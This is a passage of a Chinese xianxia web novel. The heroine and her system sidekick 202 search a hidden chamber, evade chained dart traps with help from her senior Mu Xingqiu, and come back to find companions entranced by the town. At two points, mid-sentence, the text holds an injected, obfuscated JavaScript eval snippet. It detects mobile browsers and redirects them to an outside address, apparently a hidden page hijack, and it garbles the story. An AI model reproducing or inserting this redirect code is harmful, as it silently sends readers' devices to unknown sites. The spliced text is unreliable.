身后小贩半感慨地叹:“哎呀,这小姑娘若是生气,定是不会往平常爱待的地方跑的。” “像我家妮儿,每次一着急上火就爱往犄角旮旯的地方躲,叫我一顿好找。找着了还要买个糖人哄着,才愿意跟我回家。” 平常不去的地方。 慕行秋欲走的脚步一顿。 抬起手,轻嗅随着自己动作传来的浅淡月清花香,他沉吟片刻后,很快也消失在原地。 小贩见状吓一跳,再‘诶呦’一声笑出来:“嘿,这公子,跑得也挺快啊。” 话落突然感觉手里多了什么,小贩疑惑地张开抓着插糖葫芦的稻草棒的手—— “哎呀,这公子真是太客气了,问我两句话就给我块碎银子!” “那就谢谢公子了!” * 小贩说了什么,慕行秋并不关心。 再次出现时已经远离了举行祭祀的范围,他一言不发地望着面前无尽的夜色。 下一秒,慕行秋闭上眼。 再睁开时,目光所及之处已然变得残破衰败,对此早已见怪不怪的他面色沉静如水,只是继续着自己的事—— 指间储物戒一闪,他掌心多了朵娇艳欲滴的月清花。 空着的另一只手掐诀,慕行秋两指并拢,朝月清花虚空一指。 几乎是同时间,他似有所感的闪身出现在另一处荒凉之地。 包裹着月清花的灵力在空中无声漂浮,灵力团伸出一条纤细如藤蔓般的触/手,替慕行秋指引方向。 他本想立刻就走。 然而将要动身的瞬间,他的视线却忽然落在不远处的一棵树下。 一张花色他再熟悉不过的面具,正静静躺在那处。 * 找202要了点特殊材料填补在撕开的结界薄弱点上,祝昭昭拍拍手,一副大功告成的架势:“好了!” 围观全程的202很难形容现在的心情:“主人,你这样胡来,就不怕等下被那家伙发现吗?” “什么这家伙那家伙的,”祝昭昭嫌弃地摆摆手,“202你好歹也是维护局的老油条,新人不知道材料部东西的威力,你也不知道?” “就是知道才着担心啊!” 202急了:“这材料比那家伙的结界构成不知道强上几倍,补上去和他那末流结界不一样,不就容易被他感觉出不对吗?!” 此话一出,轮到祝昭昭词穷:“你……” 欲言又止斜了202一眼,祝昭昭最后选择曲起指节,从上到下将补在结界上的特殊材料仔细敲了个遍:“莫沉云这结界虽说强力,但既然我把它撕开的时候他没发现,那现在我用材料补结界,他就更不可能发现。” “毕竟今晚是神祀之时,他应该会很忙。” 202晃悠两下:“——” “好了!”祝昭昭头痛,直接截了它话头,“就算莫沉云的结界是末流结界,但材料有自适应性,所以会完美贴合。” “你满意了没?” 202终于小人得志地哼哼两声。 气得无奈扶额,确认补好结界的祝昭昭得以将注意力全部放在眼前的景象上—— 这是一片被树林与山石包围的空地。 空地应该是人为创造,目光从明显是灵力切割出的利落痕迹收回,祝昭昭随手往地上招来块碎石:“亲自开凿出这么大面积的地方,莫沉云手笔不小。” “成大事者,不拘小节。”202摇头晃脑,“再说,他要是不上点强度,怎么凸显这地方的凶险?” “这地方不凶险,怎么配做男女主的历练地点?” 一个眼神都没给它,祝昭昭很快锁定前方不远的山洞:“里面应该会有东西。” “过去看看。” 话落不顾还在边上叽叽歪歪的202,她径直朝山洞走去。 立刻闭了嘴,202连忙跟了上去。 在洞/口停下脚步,祝昭昭观察片刻,确认没有问题后,方才踏入。 与想象中阴暗潮湿的环境不同,洞/中空气干燥且没有异味,不仅如此,她亦没有看见任何植物生长的痕迹。 倒是在角落里,发现了一粒干瘪的灵果。 “加工灵果的地方竟然在这里么。”祝昭昭盯着那颗灵果,“难怪只有少数人能进来。” “主人,你就别惦记那什么灵果了!” 202语气有点着急,“你看这地方光秃秃的,哪有半点通道的影子。” “我们再去别的地方找找吧!” 轻抚手边的石壁,祝昭昭若有所思:“我倒是觉得,通道应该就在这里。” 顿时瞪大眼,202很夸张地‘哈’了一声:“怎么可能!” “这地方比外面的空地还要干净,通道怎么可能在这里?” 它转动起它那充满智慧的大脑:“要我说,估计这山洞就是障眼法,目的就是为了迷惑你们这些闯进来的人,让你们不死心地在这里找来找去,然后一着急,就踩到他布下的陷阱的。” 祝昭昭开始在石壁上摸索:“嗯,你说得对。” 202更得意:“那当然嘛,所以听我的,我们现在就……” ‘轰隆’一声响起,原本光滑的石壁上,一块石板缓缓旁移开来,露出黑漆漆的入口。 收起手,祝昭昭似有所察地侧头:“怎么不说了?” “继续说。” 早已大脑宕机的202:“……” “发完呆就快点跟上来。” 话落从储物袋中取出颗硕大夜明珠,祝昭昭率先走进密室。 终于回过神的202边跟在她身后边挽尊:“密室不算山洞的一部分,额外开凿的地方,能算一部分吗!” * 嫌夜明珠不够亮,也担心照明范围太小会忽略一些地方,祝昭昭朝身后202招手示意:“来点光。” 下一秒,整个空间被迪斯科彩灯球的光芒包围。 望着眼前闪动起来的空间,祝昭昭闭眼深呼吸:“三,” 整个空间瞬间亮如白昼。 祝昭昭满意扭头:“早这样不就完——” “……” 202看着她的死鱼眼:“干嘛,还不满意吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280571|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你……”祝昭昭词穷,“我想知道你这么做的理由是什么。” “用眼睛当灯泡你肯定又要啰嗦,”202一副‘我还不了解主人你’的语气,“所以我选择另辟蹊径。” 祝昭昭眼角开始抽搐:“所以你的蹊径就是用嘴当灯泡?” 嘴里射/出的高瓦数光线更亮了几分,202直接扭头对着她:“主人你就说好不好用吧。” 眼前刹那只剩一片白光,祝昭昭直接上电击:“给我把脸移开!” 把被电得宕机的202拎在手上,她继续打量四周。 被彻底点亮的密室没了半点可藏私的余地,祝昭昭绕密室一圈,接着在一个角落停下脚步。 盯着刚好与自己平齐的位置上刻着的怪异符号,祝昭昭很快认出那是什么:“居然是敛灵印。” 202变身好奇宝宝:“什么是敛灵印?” “汇集灵力用的刻印。”祝昭昭回忆起她在天玄山上长见识的日子,“大师姐修炼的时候就喜欢刻这东西,汇集大量灵力和大家一起修炼,美其名曰让‘修炼速度最大化’。” “但是因为每次都控制不住,一个人把灵力吸得七七八八,最后被二师姐赶到山上自己修炼。” 听到最后也想了起来,向来爱搞不靠谱操作的202都难得无语:“……我总算想起来她为什么老是一个人闭关了。” 一人一机死鱼眼对视。 收回目光,祝昭昭重新把注意力放在眼前的敛灵印上:“敛灵印的特性是吸纳灵力,会出现在这只有一种可能。” “吸纳来自洛水镇的灵力。” 脑海里浮现出刚才见到的那轮圆月,祝昭昭垂眸继续:“但通道开启不止需要灵力,更需要魔气。也就是说——” 从系统背包里取出一支细长的羽毛笔,她轻轻扫去敛灵印下方石壁的浮尘:“这里,还会有将灵力转化为魔气的东西。” 随着浮尘消失,距离敛灵印一个指节的下方,露出一个和敛灵印同样大的无色刻印。 “置魔符。”祝昭昭没什么情绪地笑了声,“不错,还知道不上色,方便把这东西藏起来。” 202表示一言难尽:“不是,主人你怎么还夸上了。反派有警惕心对我们来说是好事吗?” 耸耸肩,祝昭昭转身:“敛灵印聚灵,置魔符转换魔气。而面对整个洛水镇的灵力,一个置魔符显然是不够的。加上作为一个需要用到如此大量魔气的通道,也很难开拓得很小。” “那么种种条件相加,”散步似的回到密室中央,她把羽毛笔交给202,“我说,你扫。” 嘟囔着接过羽毛笔,202很快扫干净祝昭昭吩咐的方位。 它像是发现了新大陆:“诶呦,五个方位都有这个什么置魔符诶!” “不止这里五个。”祝昭昭拇指点点密室外,“同样方位,外面还有五个。” 202长长的机械臂抓着羽毛笔满室乱甩:“我去扫!” “没必要。”祝昭昭头痛地扯住飞到自己眼前的机械臂,“比起这个,我们还有更重要的事要做。” “什么叫‘比起这个’?”202满脸‘主人你到底知不知道我扫出置魔符有多厉害’的表情,“置魔符那么重要的东西不确认一下到底有多少,到时候出了意外怎么办?!” 祝昭昭一个眼神都没给它:“虽然先前我们已经在莫沉云身上动了点手脚,但不论如何,他总归还是化神期修士。” “所以为了保险起见,通道这里,我们也要加点东西。” 对着系统背包沉吟片刻,祝昭昭取出一样物品。 随后叮嘱202:“从现在开始,记下我放物品的全过程。” ‘大计’被祝昭昭无视,202悻悻出声:“哦。” 听见它答应,祝昭昭开始动手。 仔细考量后选择把系统物品藏在另一个角落的顶/部,哪怕系统物品这种东西,位面人物无法看见,但她还是特意上面又覆盖了密室同色掩盖物。 落回地面后盯着藏妥当的东西半晌,祝昭昭再次动起来。 这次,她从储物袋里取出一个用于定位的法器。 几乎没怎么犹豫,她选中一面比较难被注意到的墙。 在墙面上旋了个小洞将法器放进去再填好,祝昭昭转身,朝202的方向:“你记录得怎么样了,给我看看。” 本来很正常一句问话。 没想到202却突然边说边退:“很好很好,记录得很好,主人你不用担心。” 盯着它面前哪怕后退也保持稳定的不透明光幕,祝昭昭皱了皱眉,最后还是没再追过去。 毕竟记录行动过程这种事202来说已经驾轻就熟,没必要特意确认。 思忖着,她走向密室出口。 下一秒,光幕里倏地传来阵阵喧闹的特效声。 然后就是陌生的问话:“202,情况好像跟你说得不一样啊?” 祝昭昭猛刹住脚步。 ? 什么不一样? 直接动用高级权限定住202准备‘毁尸灭迹’的动作,她闪身到202旁边,探头向光幕—— 光幕左边,是被粉红泡泡滤镜包围的,看不出原样的密室;光幕右边,则是一个没见过的新人。见祝昭昭看向自己,对面连着麦的新人脸上的崇拜差点冲破光幕:“祝姐好!” 高亢的嗓门听得祝昭昭不由得挑眉:“你好。” 她语气温和:“请问你刚才说的‘情况不一样’,是什么意思。” “这个啊。” 无视202差点朝自己使眼色使得快瞪脱框的灯泡眼,对面新人笑容满面地选择了卖队友:“202和我们说,祝姐你特别器重它,每次执行任务都要参考它的意见才行动。你没了它根本不行。” “但是刚才祝姐你不是一直在做自己的事嘛,所以我就好奇问问。” “明白了。”祝昭昭微笑起来,“谢谢你的解答,那么我现在就要关闭直播了。” 没想到前十维护员竟然丝毫没有架子,对面新人头点得像小鸡啄米,二话不说就自己主动关了连麦。 祝昭昭也关闭光幕。 死一般寂静的密室里,定位被解除的202边看祝昭昭边后退:“主人……我可以解释……” “特别器重你?” 祝昭昭笑容更深:“没了你不行?” 显示屏都慌得花成乱码,202脱口而出:“那执行任务本来就强制维护员和系统搭档嘛……” 忍无可忍的祝昭昭直接就是一拳。 几步迈出密室,她没好气地:“马上滚出来,我们现在离开。” 话落人已经走出山洞,祝昭昭本准备原路返回。 然而下一秒,她猛地朝左侧扭头。 89. “可恶,直播时机错了啊!” 一道灰色残影擦着她眼尾飞过。 直到灰影消失,空气被极速割裂的啸鸣才如警报般在空气中响彻。 “怎么了怎么了?”从山洞里猛地冲到祝昭昭面前,202大惊失色,“啊,主人你受伤了!” 抬手抹去颧骨上渗出的血丝,祝昭昭语气没什么起伏:“没事。” “什么没事!”202还是很激动,“而且这地方怎么回事,明明刚才过来的时候都没发现有什么问题啊!” “应该是因为我刚才在密室挖了个洞。” 望着空地外树林的眸光沉沉,祝昭昭道:“密室发生变化,莫沉云在附近设下的陷阱才会被激活,所以刚才我们进来的时候没有异常。” “那他会不会发现我们?”202东张西望,“如果他现在来了,我们怎么脱身啊?” “他不会来。” 不多时就在林间瞄见闪动的寒芒,祝昭昭给出了否定答案:“就算密室有人闯入,也不代表闯入的人,就一定可以在陷阱下全身而退。” “如果闯入的人死在陷阱里,他就没必要过来。” “我好像明白主人你的意思了。” 202很快反应过来:“也就是说,只要躲开或者不反击那些陷阱,就不会引起他的怀疑。” “因为他会以为闯入的人已经被陷阱灭杀。” “嗯。” 祝昭昭开始移动脚步:“结界本就有被闯入的可能,密室被动,他亦有反制手段。而今夜是神祀之时,他有更重要的事要做,更轻易不会过来。” “所以现在,我们只需要——” 倏地将腰弯至一个不可思议的弧度,祝昭昭冷冷盯着紧贴自己鼻尖划过的灰影:“在不反击的情况下,躲过所有陷阱。” 带着势必要淹没祝昭昭的冰冷杀意,瞬间爆射而出的暗器如同利刃化作的银色暴雨。 她却早在方才的观察中摸清这场暴雨的轨迹。 灵力运转到极致,祝昭昭提气轻身,一袭青影于暗器中不断穿行。其间许多次,衣衫被划破的裂帛声响都在快到凌乱的银色里炸开,令202听得一颗心控制不住地打颤。 可就算如此,它为了确认祝昭昭安全而打开的检测器—— 却始终没有报警。 盯着一片银色里越来越快的青色残影,202呆若木鸡。 它梦游般喃喃:“要是刚才直播的是这段,我早就赚翻了吧……” 202话音刚落,青影就鬼魅般地落在了它面前。 然后照着它脑门结结实实给了它一下。 “还敢惦记你那直播,看来我刚才打得还不够重。” 被敲得‘诶呦’一声,202惊恐地看着祝昭昭:“主人,你怎么这么快就出来了?那些暗器呢??” “暗器?” 祝昭昭让开身子,拇指点点后方:“结束了。” 结束了?? 一时不知道是该震惊这陷阱居然采取数量压制,一波就无了;还是该震惊祝昭昭竟然毫发无伤全身而退,甚至还能用轻松的语气说‘结束了’。 要知道刚才那波暗器已经密集到根本看不见暗器长什么样…… 202话都顾不上说就飞到那堆暗器上。 最后才犹不敢信地出声:“所以我们现在就可以走了?” “如果你想继续待在这,那随便你。” 斜它一眼,祝昭昭双手枕在脑后:“但我在这的事做完了,我要先走一步。” 说完,她转身。 脚尖却在下一秒猛地化踩为点,借着瞬间爆发出的力量腾空后翻。 202被她突如其来的举动吓了一跳:“主人,你干什——” 倏而响彻的裂帛声打断它的质问。 眼睁睁看着祝昭昭翻飞的裙摆被闪着寒芒的暗器穿透,202瞳孔地震之余,立刻闭紧嘴巴。 陷阱竟然还没结束! 亏它刚才还以为暗器只有一波,还在想设陷阱的人又笨又轻敌,都准备放心出去了。 第二波暗器竟然就开始在这个让人松懈的时候! 这根本是算计好的吧?! 真够狡猾的! 202吓得魂不附体。 如果不是主人反应快躲过了,这会儿他们得是什么情况? 越想越后怕,自知失职的它偷瞄祝昭昭,沉默半天,最后偷偷在心底为自己点蜡。 不知道一会儿还有没有机会补救,如果没机会的话…… 它可以申请留个全尸吗? 202:拿烟的手,微微颤抖·jpg * 在202大演特演的时候,祝昭昭和暗器的角力已经到了白热化阶段。 与先前那些暗器不同,躲开新出现的暗器后,她本以为这次突袭到此为止,又或只需等待其他暗器袭来。 可当她堪堪折返起身时,却敏锐察觉到那暗器引起的劲风并未断绝,反倒出现在自己身后。 “这暗器有问题。” 再次一个侧身躲过飞袭来的暗器,祝昭昭皱眉:“只要我还在活动,它就一直追着我不放。” “啊?” 202在边上夸张捧哏:“还带追踪功能的?” 立刻反应过来这是将功补过的好机会,它边说边飞到祝昭昭身边,试图替祝昭昭排忧解难:“那我现在就从树林里引一只活的东西出来!” “没用。” 祝昭昭无情判断:“第一这里没有活物,第二你就算引来灵兽,暗器将之击杀后,也会继续追我。” “啊,那怎么办啊?”202开始扭曲爬行:“那我们现在一鼓作气冲出结界行吗?” 这回祝昭昭倒是不反驳了:“行啊。” 202大喜:“那我们……” “不过,” 瞬移到202旁边,祝昭昭顺手就给了它一下:“这就等于是在提醒莫沉云,闯入结界的人全须全尾地逃出去了。” “你觉得怎么样?” 猝不及防被打地往前飞,202狠狠沉默。 然后抓狂:“不是,又不能反击又不能跑路,那我们就在这跟这东西一直耗吗?” 暗器飞掠,祝昭昭再次往202的方向闪现:“当然不是。” 刚挨过一次揍,202想也不想地飞走:“那主人你准备怎么办?” “怎么办?” 暗器划破衣袖,祝昭昭指尖轻点,飘至面前的衣服碎片便燃烧殆尽:“那就只好……” 稍微付出点代价了。 祝昭昭抬头,目光随意却准确地锁定紧追不舍的暗器—— 既然一定要伤到或置目标于死地才可能停下,那么…… 手掌虚虚一握,隐蔽气息的法器出现在其中,祝昭昭找准时机停了下来。 202顿时扬声:“主人你在干嘛?!” “你停在那里会被暗器贯穿肩膀的!!” 与202的激动相反,祝昭昭只是平静地给出三个字。 “我知道。” 202都听愣了。 我知道? 就这一句? 它大声提醒,到头来是为了听这句话的?? 回过神的202差点气晕过去。 所以它的主人是想以主动受伤为代价,让那个叫莫沉云死家伙的以为闯入者已经被解决了?? 明明是机械系统,202却忽然觉得自己有点头痛。 至于做到这个程度吗? 然而气恼的同时,202也很清楚,祝昭昭做的决定没人能改变。 所以沉默半晌,它最后选择开启险情监测。 伤完再救总行了吧? 完全没有注意202的挣扎全程,祝昭昭掌心微蜷,感受着来自法器的重量。 选定的伤处是肩膀,很快察觉到周身气流被直射而来的暗器搅乱,她默默在心里倒数。 倒数来到最后一个数时,祝昭昭闭上眼—— 202的惊叫却比预想中的疼痛更快到来。 下一秒,清脆的铁器碰撞声响起,祝昭昭跌进一个带着淡香的怀抱。 “斗嘴时伶牙俐齿不让人占半分便宜,真遇到危险,反倒老实等着了?” 含笑的话音带着几分不易察觉的无奈,熟悉的清冽男声被胸腔共鸣变得沉闷,才透过后脑落进祝昭昭耳里。 让她见鬼一样睁开眼—— “为何这样看着我。” 眼底浮起笑意,慕行秋露出有些受伤的模样:“就这么意外我出现在此处么?” 被他假到不行的表情恶心得浑身起鸡皮疙瘩,祝昭昭挣扎着就要起来。 “不要乱动。” 慕行秋直接用灵力控制住她:“此地不宜久留,我速战速决带你离开。” 一听这话,祝昭昭当场气得想掐人中:“决什么决,反击暗器会被那什么神注意到的!” “所以你是为了不惊动神才故意站在原地的?” 慕行秋闻言挑眉:“想不到昭昭师妹年纪虽小,却有如此胆识与魄力。” “倒是师兄小瞧你了。” 确实是小瞧了。 围观全程的202心情复杂。 毕竟它的主人就是为了完成任务,什么都能做得出来的狠人。 不过大反派啊,你的关注重点完全错了吧? 它的狠人主人话里重点是这个吗?! 202:这是在干什么·jpg 此刻的祝昭昭难得和202反应一致:“慕师兄,我记得我方才说的是‘反击暗器会叫神察觉到这边的异常’吧?” 她憋火扯起的嘴角僵硬:“慕师兄没听清?” “听清了。” 慕行秋坦然点头。 祝昭昭感觉自己额角的青筋已经鼓起来:“所以慕师兄你不是该……” “可我方才已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280572|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 击落了一枚暗器。” 祝昭昭狠狠哽住。 所以真是请问了,你刚才干嘛动手呢? 祝昭昭:超·激怒。 两人一问一答间,被慕行秋的反击引动的其余暗器纷纷从各处破出,锐利锋刃在月光下,闪动着冰冷寒光。 逼人的杀意让空气都隐约泛寒,慕行秋却依旧没什么所谓:“我即已动手,一次与多次又有何区别。” 散漫的语气里,道道灵力开始在他身前凝聚。 “况且我与这位神之间,本就有笔账未算。” 垂眸掩去眼底冷意,他脸上重挂起惯常笑容:“这次,便当做我对他的提前招呼。” “师妹觉得如何?” 话音落下的瞬间,无数暗器朝着两人爆射而去。 慕行秋身前化作圆融球状的灵力,亦猛然炸开。 散开的灵力仿佛生了眼,每一道都精准撞上飞来的暗器。极具冲击的气浪瞬间向四周辐射开来,慕行秋却早已在腾挪闪躲间,远离了气浪波及范围。 第二波暗器也在此刻到来。 祝昭昭见状,立刻想提醒慕行秋。 他却比她更快。 身前灵力再度汇集爆发,正撞下一波暗器,两者相撞引动的灵力乱流与暴烈气浪让地面都不住颤抖—— 却丝毫无法减缓慕行秋穿行其间的速度。 祝昭昭一开始并不清楚他的用意。 直到下一秒,她眼睁睁看着第三波暗器堪堪冒出头,就被他身前‘刚好’炸开的灵力全部提前按住,自爆在隐藏位置中。 望着不远处接连炸开的地面,祝昭昭震惊。 慕行秋竟然仅仅只靠与暗器的两个照面,就摸出了其发动的位置和规律! 而自第三波暗器拦截成功,他的速度就变得更快。用同样的方法废了另两处陷阱后,他身形忽然一滞。 202眼尖,立刻出声提醒:“主人,大反派在看山洞那边。” 祝昭昭听罢,立刻攥紧慕行秋的衣服:“不要过去。” 不要过去? 没有回答,但同样没再靠近,慕行秋微一颔首,视线落在祝昭昭身上。 随动作滑落的发丝遮住他的脸,202因此没办法再观察他表情。 也就让祝昭昭忽略了他若有所思的神色。 这边慕行秋身形一闪绕过山洞附近,利落解决完最后两拨陷阱后,忽然向着某处抬头。 “看来我们叨扰到神了。” 闻言当场就是一个白眼,祝昭昭没好气地纠正:“把‘们’字给我去了。” “好。” 慕行秋轻笑一声,好脾气地重复:“看来是我叨扰到神了。” 仿佛是在响应他的话般,远处树林开始无风自动,叶片摩挲着轻响连成一片,如同阵阵碧色海浪。 却比海浪更加危险。 目光从树林收回,慕行秋原本随意的语气里,多了些不易察觉的凝重:“这位神来得很快,走之前我们一定会和他撞见。” 说着身前凝聚起一颗水珠模样的灵力,他低下头:“所以为了让他慢点找到我们,我……” 刚从储物袋拿出面具戴在脸上的祝昭昭:“我什么?” 慕行秋愣。 暗付这家伙紧急时刻犯什么病在这当木头人,祝昭昭瞥见那颗灵力水珠:“刚好,就用那颗灵力珠子加固下面具,省得待会儿面具不小心掉了。” 慕行秋一言不发地照做。 他反常的架势让祝昭昭更加奇怪:“这面具不是你送我的吗,怎么感觉你好像很意外我戴上它似的。” 还是不吭声,慕行秋也拿出一个面具。 看清他脸上面具的花纹,祝昭昭顿时惊奇:“你怎么也有一个,你喜欢这面具,自己又去买的?” 这次,慕行秋终于舍得给了她个反应:“嗯。” 话落脚下微动,他眨眼间闪现在结界附近。 结界却早就被莫沉云加固。 见状立刻把面具的事抛在脑后,祝昭昭连忙指路她刚才填补的那个缺口:“往左三里。” 眼底闪过抹意外,慕行秋很快出现在祝昭昭所指位置。 示意他把自己放下,祝昭昭快步走到被填补的那处,动手将之打开。 却就在她要拉起慕行秋离开时,她忽然感觉身后如芒在背。 祝昭昭于是回头—— 空中不知何时多了道黑色人影。 漆黑夜幕下,巨大圆月中,黑影站在其间,被衬托得渺小如沧海一粟。 自上而下的目光却冰冷而漠然。 与祝昭昭对上视线的刹那,黑影身旁多了一个小小的东西。 是她藏在密室里的高阶法器。 如同示威一般,下一秒,轻易难以毁坏的法器,被黑影化为齑粉。 飞散齑粉如同纷纷扬扬的小雪,静静将这幕收进眼底,祝昭昭拉着慕行秋头也不回地离开。 90. 月书师姐你怎么在之衡师兄房间? 回到洛水镇中心时,原本人声鼎沸的街巷已经安静下去,只剩明亮的灯火与小摊上所剩无几的货品,昭示着先前热闹的景象。 可两人这次来回至多不过一个时辰,什么祭典一个时辰就会结束? 且异常不止于此。 比过快安静下来的街市更反常的,是这次神祀之时的主角之地—— 祭坛。 目光从倒地的香炉与熄灭的灯笼上收回,祝昭昭和慕行秋不约而同地对视一眼,又各自在对方眼里看见考量。 两人直接赶回客栈。 毫无意外的,以往这个时辰或多或少总会有人的大厅,此刻同样空空如也。 匆忙自桌旁走过时裙摆不小心带起桌布,祝昭昭下意识扫了眼桌子。 留意到上面吃到一半的残羹,她开口:“镇民们似乎是突然离开的。” “不奇怪。” 顺着祝昭昭视线望去,慕行秋意味深长地弯起唇角:“毕竟神突然消失,虔诚的信众们因此恐慌,再正常不过。” 还有脸笑? 祝昭昭:…… 像你这个情况,你怎么笑得出来的·jpg 懒得搭理慕行秋,祝昭昭背对他翻了个白眼,快步踏上楼梯。 穿过空无一人的走廊,想起临走前与白月书等人的匆匆照面,一直记挂着解药疗效的祝昭昭,决定去看看他们几人的情况。 她先停在白月书房门口。 然而抬起的手还未靠近房门,祝昭昭就先听见旁边传来‘吱呀’一声。 “昭昭。” 白月书从秦之衡的房间探出头来,朝祝昭昭招招手:“我在这。” ? 看着白月书被薄汗浸湿的鬓角与手中的束缚法器,祝昭昭沉默片刻后开始往后退:“我、我突然想起我还有事,要不明天再……” 她话还没说完,就忽然瞧见一只手就搭在白月书肩膀上。 是秦之衡。 从白月书身后探出身,他面色潮红,气息不稳:“昭昭。” 噫?! 什么情况。 见祝昭昭一副震惊到失语的模样,秦之衡有些不解:“昭昭你为何那副表情?” “罢了,不论如何你们总归是回来了。” 他皱眉轻咳两声,示意祝昭昭过来:“快进来吧,大师兄也一起。” “你们不在的这段时间,大家出了点事。” 出了点事? 能让秦之衡都说出这种话,情况肯定已经好不到哪去。心头顿时一个咯噔,祝昭昭立刻把其他有的没的抛到脑后,快步走进房中。 刚进门,祝昭昭就听见一道极其不耐烦的声音。 “我再说一遍我没事,你们赶紧把我放开!” 是上官修。 早早就听见门口的动静,他盘膝坐在地上,双眼怒瞪着秦之衡:“你们有那个闲工夫把所有人关一起盯着,还不如管好自己。” “你以为你现在又好到哪去?” 很快从上官修话里提取到关键信息,祝昭昭扭头向身旁秦之衡:“大家现在都在这里?” “嗯。” 秦之衡说着,有些意外:“我以为昭昭你会更好奇我和月书为什么要捆住上官兄。” “这是最不值得好奇的东西。” 一个眼神都没给地上的上官修,祝昭昭几步走进里面,果然看见但凡有落脚的地方,都被其他人或躺或坐地占满。 察觉到空气中紊乱的灵力与气息,她神色渐渐凝重。 虽说心里早就有答案,但为了谨慎起见,祝昭昭还是选择亲自确认:“之衡师兄,大家都怎么了,他们为什么都昏迷了?” “我们也不知道。” 接话的是白月书。 示意秦之衡回床上休息,她站到祝昭昭身旁:“本来大家都还好好的,可自从祭典匆匆结束,所有人都回来后……” “他们就突然失控了。” 这倒不在祝昭昭的预估之中:“突然?” “对。” 回忆被话头引动,白月书蹙起眉头:“若是细究,失控的预兆从祭典开始前就已出现。” 得到想听的回答,祝昭昭立刻接话:“月书师姐你是如何判断的呢?” “此事说来话长。” 角落里闭眼入定的钟安林闷哼一声,白月书立刻扫他一眼:“祭典开始前,我与之衡还有钟安林在一起。” “那个时候,钟安林本还只是与镇民和其他修士一起谈天说地,虽说看起来有些过于热情,但总归还算正常。” 她说着,下意识望了眼床上的秦之衡:“而之衡先前虽不及钟安林那般热情,却也随着祭典开始的时间渐近,慢慢同其他人熟悉起来。” 白月书说得确实仔细,但对祝昭昭来说,现在状态最清醒、也是唯一用了解药的她在祭典时的全程变化,其实才最有参考价值:“那月书师姐你呢?” “我?” 闻言先是一愣,白月书很快继续道:“一开始,我其实与他们没什么差别。” 她沉吟:“仔细想来,其实早在两日前,我的神思就已不太清明,整个人如坠迷雾,也常常想与洛水镇民待在一起。” 祝昭昭尝试细化她的描述:“意思是师姐你变得想主动和洛水其他人亲近,觉得有些理解他们了吗?” “对。” 白月书点头:“哪怕我谨记师兄叮嘱,努力想与他们保持距离,却还是慢慢被他们吸引,觉得若同他们一起生活,未尝不是好事。” “虽然发现心中生出这种想法后,我一直努力静心明思,可如今仔细回想,那种抵抗并不管用。” “我还是一点点被洛水感染。” 说这话的时候,白月书轻垂眼睫,神色黯淡,显然是觉得自己意志薄弱,枉为修士。 她是不知者无罪,祝昭昭却很清楚,洛水镇作为化神期修士耗尽心血打造出来的幻境场,其致幻洗脑能力之强,就算是同阶修士稍有不慎,都会被中招沉沦。 身为金丹期修士,她和秦之衡能在洛水镇坚持到现在还不被同化,此心智之坚定,早已是同修为修士里最顶尖的一批。 祝昭昭:还得是男女主。 感慨完,她开始套重点:“清醒?月书师姐你是突然清醒过来的?” “没错。” 白月书显然也不太明白这是什么情况:“在祭典时,我见钟安林与之衡和洛水镇民太过亲密,便想将他们带离。可我刚接近他们,就感觉一阵风轻拂在我脸上,” “之后我忽然如突破了修炼瓶颈般,顿觉识海一片明晰,再细细感受便知道,我的神思己经恢复清明。” “接着祭典开始了。” “祭鼓响起的刹那,那些镇民和修士一下将我们包围起来,围着我们开始乱舞。”白月书语气不自觉微肃,这些回忆对她而言并不美妙,“舞了片刻,远处忽然嘈杂起来,我探头去看,便见一队穿着祭袍的人从祭庙方向走来。” “他们沿街而行,每个人手里都端着篾盘,盘里盛满灵果。所到之处,两边的人都会冲上去猛抢篾盘中的灵果,他们却无动于衷,任由那些人动作。” 白月书抿了抿唇:“当他们来到我们这处时,那些镇民便都不舞了,转而去疯抢灵果,抢到之后用力塞进口中,边塞还将灵果递给我们,让我们一起吃。” “我立刻拒绝了。”瞧见不知何时走到众人间的慕行秋,她马上道,“那些人见我不吃,就将灵果递给之衡和钟安林。” “之衡虽说反应稍慢,但还是拒绝了,可钟安林……” 白月书眸色一深:“他犹豫了。” 闻言略微思忖,祝昭昭刚想说点什么,边上一直被忽略的上官修突然出声。 他不屑冷嗤:“本来整个洛水就都在吃灵果,他们都没有问题,我们为什么一定会有?” “一点小事就让你们瞻前顾后思来想去,说白了你们根本就是杞人忧天!” 越说越激动,上官修狠狠挣扎起来:“赶紧放开我,这灵果我今天非吃不可!” 神色莫测地扫了眼上官修,祝昭昭示意白月书继续:“那钟师兄后面接了灵果?” “没有,”白月书也收回落在上官修身上的目光,“因为我踩了他一脚。” 踩…… 祝昭昭的沉默震耳欲聋。 可转念又想起白月书和秦之衡上演全武行的场景,她很快释然:“钟师兄被踩……醒了吗?” “他停下了手里动作。”白月书答,“但那些镇民和修士也变得更加热情,将我们围得更紧,并一直将灵果往我们脸上凑。” 祝昭昭几乎能想象出那景象有多窒息:“然后呢?” “所幸就在灵果要被捅到我们脸上时,祭庙方向忽然传来敲锣打鼓声。” 白月书也不自觉放松下来:“接着那些镇民便被转移了注意力,所有人寻声张望,我则立刻趁此机会,拉着之衡与钟安林离开。” 而我们三人前脚刚走,后脚那些人便疯了似地,在我们身后高喊‘神来了’。 下意识望了眼门口方向,她低声:“我虽好奇‘神’的模样,却同样有一种预感……” 